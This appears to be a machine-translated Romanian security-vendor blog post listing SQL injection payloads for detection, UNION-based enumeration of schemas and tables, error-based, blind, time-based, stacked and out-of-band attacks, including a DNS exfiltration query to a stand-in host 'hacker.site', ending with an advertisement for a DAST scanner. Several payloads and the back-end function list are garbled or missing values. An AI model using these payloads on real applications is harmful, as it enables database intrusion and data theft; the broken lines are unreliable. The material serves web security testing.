SQL Injection Payloads: cum funcționează exploatările SQLi
ce este o sarcină utilă SQL Injection?
SQL Injection reprezintă o vulnerabilitate de securitate web care permite atacatorilor să vizualizeze date pe care nu ar trebui să le poată, permițând atacatorului să interfereze cu interogările pe care o aplicație le face în baza sa de date prin injectarea de sarcini utile SQL injection rău intenționate.
Aflați mai multe despre atacurile SQL Injection în această postare pe blog – ce sunt injecțiile SQL și cum pot fi prevenite
în această postare pe blog, vom acoperi cum să verificăm dacă un site web este vulnerabil la SQLi și la diferitele sarcini utile SQL injection utilizate pentru a exploata diferite tipuri de vulnerabilități SQL injection.
în acest articol:
confirmând SQLi: Detectarea punctului de intrare
pentru a identifica dacă aplicațiile dvs. sunt vulnerabile la SQLi și puteți utiliza sarcinile utile care urmează, trebuie mai întâi să puteți injecta date în interogare fără a le rupe. Primul pas este să aflăm cum să scăpăm de contextul actual.
încercați unul dintre aceste exemple utile:
'
"
`
')
")
`)
'))
"))
`))
pentru a remedia interogarea, puteți introduce date, astfel încât interogarea anterioară să accepte datele noi sau puteți introduce date și adăuga un simbol de comentariu la sfârșit.
această fază va fi mai ușoară dacă puteți vedea mesaje de eroare sau puteți identifica dacă /când o interogare funcționează sau nu.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
confirmarea SQLi utilizând operații logice
puteți confirma o vulnerabilitate SQL injection efectuând o operație logică. Dacă obțineți rezultatul așteptat, ați confirmat SQLi.
Iată cum arată în practică:
dacă parametrul GET ?username=John
returnează același conținut ca ?username=John'
sau '1'='1
atunci ați găsit o vulnerabilitate SQL injection.
acest concept funcționează și pentru operații matematice:
dacă ?id=1
returnează la fel ca ?id=2-1
, ați găsit o vulnerabilitate SQL injection.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
confirmarea SQL injection cu Timing
în unele cazuri când încercați să confirmați Un SQLi, nu va exista o modificare vizibilă pe pagina pe care o testați. Aceasta indică un SQL orb, care poate fi identificat făcând baza de date să efectueze acțiuni care vor avea un impact asupra timpului de încărcare a paginii.
vom adăuga la interogarea SQL o operație care va dura mai mult timp pentru a executa, cum ar fi efectuarea următoarelor:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
funcțiile de somn nu sunt întotdeauna permise, deci faceți o interogare efectuați operații complexe care vor dura câteva secunde.
identificarea Back-end-ului
diferite backend-uri au funcții diferite, care pot fi identificate executând aceste funcții. Exemple ale acestor funcții sunt:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Union based SQL Injection Payloads
detectarea numărului de coloane
ambele interogări (cea originală și cea pe care o modificăm) trebuie să returneze același număr de coloane. Dar cum știm numărul de coloane cererea inițială se întoarce? De obicei, folosim una dintre următoarele două metode pentru a obține numărul de coloane:
Order/Group by
chiar dacă GROUP BY
și ORDER BY
au funcționalități diferite în SQL, ambele pot fi utilizate pentru a determina numărul de coloane din interogare. Incrementa numărul până când veți obține un răspuns fals:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
în cazul UNION SELECT, introduceți un număr tot mai mare de valori nule până când interogarea este validă:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
de ce sunt folosite valorile nule? Există cazuri în care tipul coloanelor de pe ambele părți ale interogării trebuie să fie același. Null este valabil în fiecare caz.
extrageți numele bazei de date, tabelele și numele coloanelor
în exemplele următoare, vom prelua numele tuturor bazelor de date, numele tabelelor dintr-o bază de date și numele coloanelor tabelului:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
metoda utilizată pentru a descoperi aceste date va varia de la baza de date în sine, dar este întotdeauna aceeași metodologie.
sarcini utile SQL Injection bazate pe erori
dacă ieșirea interogării nu este vizibilă, dar puteți vedea mesajele de eroare, puteți face ca aceste mesaje de eroare să funcționeze pentru a extrage datele din Baza de date.
Similar cu exemplul de exploatare bazat pe Uniune, ai putea arunca baza de date:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL Injections sarcini utile
în cazul Blind SQL injection, nu puteți vedea rezultatele interogării și nici erorile, dar puteți distinge când interogarea a returnat un răspuns Adevărat sau fals pe baza conținutului diferit de pe pagină.
puteți abuza de acest comportament pentru a arunca baza de date char cu char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
eroare Blind SQL Injection sarcini utile
după cum sugerează și numele, acest lucru este foarte similar cu blind SQL injection, dar de data aceasta nu trebuie să faceți distincția între un răspuns Adevărat sau fals. Verificați dacă există o eroare în interogarea SQL sau nu, forțând o eroare SQL de fiecare dată când ghiciți corect caracterul:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
sarcini utile de injecție SQL bazate pe timp
puteți utiliza această tehnică în primul rând atunci când sunteți pe punctul de a exploata vulnerabilitățile oarbe în care utilizați o a doua interogare pentru a declanșa o căutare DNS, o eroare condiționată sau o întârziere de timp.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
interogările stivuite
interogările stivuite pot fi utilizate pentru a executa mai multe interogări succesive. În timp ce interogările ulterioare sunt executate, rezultatele nu sunt returnate aplicației. Puteți utiliza această tehnică atunci când vulnerabilități orb în cazul în care utilizați o a doua interogare pentru a declanșa o căutare DNS, eroare condiționată, sau o întârziere de timp.
în timp ce Oracle și MySQL nu acceptă interogări stivuite, Microsoft și PostgreSQL le acceptă: QUERY-1-HERE; QUERY-2-HERE
din banda SQLi sarcini utile
dacă niciuna dintre metodele de exploatare menționate mai sus nu a funcționat pentru dvs., puteți încerca să faceți baza de date să exfiltreze datele către o gazdă externă controlată de dvs. De exemplu, puteți utiliza interogări DNS:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Detect SQL Injection cu ajutorul Nexploit
Nexploit NeuraLegion automatizează detectarea și remedierea a sute de vulnerabilități, inclusiv SQL injection.
prin integrarea scanărilor DAST la începutul procesului de dezvoltare, dezvoltatorii și experții în securitatea aplicațiilor pot detecta vulnerabilitățile din timp și le pot remedia înainte de a apărea în producție.
cu Nexploit scanările se fac în câteva minute, iar rezultatele vin cu zero fals pozitive. Acest lucru permite dezvoltatorilor să adopte soluția și să o utilizeze pe tot parcursul ciclului de viață al dezvoltării.
scanați orice aplicație web sau API pentru a preveni vulnerabilitățile de injecție SQL – încercați NeuraLegion Nexploit gratuit.